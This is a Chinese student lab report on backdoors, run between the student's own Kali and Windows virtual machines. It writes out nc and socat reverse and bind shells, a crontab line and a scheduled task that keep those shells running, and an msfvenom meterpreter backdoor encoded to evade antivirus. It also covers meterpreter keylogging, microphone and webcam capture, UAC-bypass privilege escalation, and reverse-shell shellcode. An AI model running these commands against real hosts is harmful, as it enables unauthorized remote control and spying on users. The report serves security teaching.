zoukankan      html  css  js  c++  java
  • 2019-2020-2 网络对抗技术 20175211 Exp2 后门原理与实践

    实验内容

    使用netcat获取主机操作Shell,cron启动

    netcat是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
    其中-e选项可以指定一个文件在连接后打开

    Windows主机获取Kali shell

    • kali在终端输入nc 192.168.1.104 23333 -e /bin/sh,将shell反弹给windows

    • windows在cmd下输入nc -lvvp 23333,监听端口

    crontab

    crontab命令常见于Unix和类Unix的操作系统之中,用于设置周期性被执行的指令。

    根据帮助文档,我们可以知道cron的格式是分钟 小时 每月的日期 月份 星期几 指令
    crontab -e编辑,在最后一行增加33 * * * * /bin/netcat 192.168.1.104 23333 -e /bin/sh,表示每天每个小时的第33分钟会执行这条反弹shell的指令。

    windows端只要准时listen就可以了

    使用socat获取主机操作Shell, 任务计划启动

    • Socat 是 Linux 下的一个多功能的网络工具,名字来由是 「Socket CAT」。其功能与有瑞士军刀之称的 Netcat 类似,可以看做是 Netcat 的加强版。
    • 任务计划是windows下和crontab差不多的东西

    右键此电脑,选择管理,在任务计划程序中选择创建基本任务

    起完名字后,指定启动socat.exe,参数为tcp-listen:5211 exec:cmd.exe,pty,stderr,这样任何人链接5211端口都可以获取shell

    设定完时间后,kali准时运行socat - tcp:192.168.1.104:5211,成功收到shell

    记得做完实验之后从任务计划程序库中把这条删掉

    使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    • msfvenom是一个payload生成器和编码器
      -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
      -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
      -e 使用的编码器,用于对shellcode变形,为了免杀。
      -i 编码器的迭代次数。如上即使用该编码器编码5次。
      -b badchar是payload中需要去除的字符。
      LHOST 是反弹回连的IP
      LPORT 是回连的端口
      -f 生成文件的类型
      > 输出到哪个文件

    可以用-l来列出所有可选的payload、文件类型、编码器等等,这里我们的目标是windows系统,所以输入以下命令:
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.79.137 LPORT=5211 -f exe > 20175211_backdoor.exe

    然后用nc传输,接收端ncat.exe -lvvp 23333 > 20175211_backdoor.exe,发送端nc 192.168.79.134 23333 < 20175211_backdoor.exe

    在windows运行这个程序。
    kali中

    • msfconsole进入Metaspolit

    • use exploit/multi/handler

    • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload

    • set LHOST 192.168.79.137localhost,

    • set LPORT 5211,同样要使用相同的端口

    • show options,查看设置信息,再检查一遍

    • exploit执行,成功

    使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    • help指令可以看到我们现在能执行的指令,比较有意思的比如下面这两个部分

    • record_mic可以从默认麦克风录音

    • screenshot可以截屏

    • webcam_snap可以调用摄像头,但是由于我的靶机是虚拟机,没有硬件,所以不演示了

    • keyscan_start可以记录键盘按键记录,keyscan_dump可以读取

    • shell可以获取交互式shell

    • getsystem可以提权,这时用户已经和上面不一样了。但是要先用别的洞去打,比如use exploit/windows/local/bypassuac

    可选加分内容

    • exploit-db找到x86的反弹shell的shellcodexc0xd6xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80,其指定ip和端口为127.0.0.1:4444,为了简化,我们就在本地实验

    • nc -lvvp 23333 -e pwn1模拟服务端

    • 根据Exp1的结果制作payload,并注入pwn1,nc 192.168.79.137 23333 < shellcode

    • msf中设置

      • use exploit/multi/handler
      • set payload linux/x86/shell_reverse_tcp
      • set LHOST 127.0.0.1
      • set LPORT 4444
      • exploit

      成功

    报告内容

    基础问题回答

    • (1)例举你能想到的一个后门进入到你系统中的可能方式?

      • 钓鱼链接可能会让你下载奇怪的软件
      • 从不可信的第三方下载软件,软件中可能被植入后门
    • (2)例举你知道的后门如何启动起来(win及linux)的方式?
      crontab,任务计划,自启动项

    • (3)Meterpreter有哪些给你映像深刻的功能?
      调用摄像头,看来IT巨头们喜欢把电脑上摄像头贴住不是装装的

    • (4)如何发现自己有系统有没有被安装后门?
      杀软,检查自启动项,有无异常进程,尤其是网络连接

    实验总结与体会

    这次试验总体来说没有上次难,因为主要是工具的使用,但也是很重要的基本功。希望有机会能更深入了解后门的制作和防范

  • 相关阅读:
    mysql 安装教程
    Centos 7和 Centos 6开放查看端口 防火墙关闭打开
    yum源中默认好像是没有mysql的。为了解决这个问题,我们要先下载mysql的repo源。
    CentOS更改yum源与更新系统
    Linux中文显示乱码?如何设置centos显示中文
    centos 7 升级/安装 git 2.7.3
    Maven实现项目构建直接部署Web项目到Tomcat
    ODAC (odp.net) 从开发到部署
    OGNL的使用
    DotNet Core 中使用 gRPC
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/12495522.html
Copyright © 2011-2022 走看看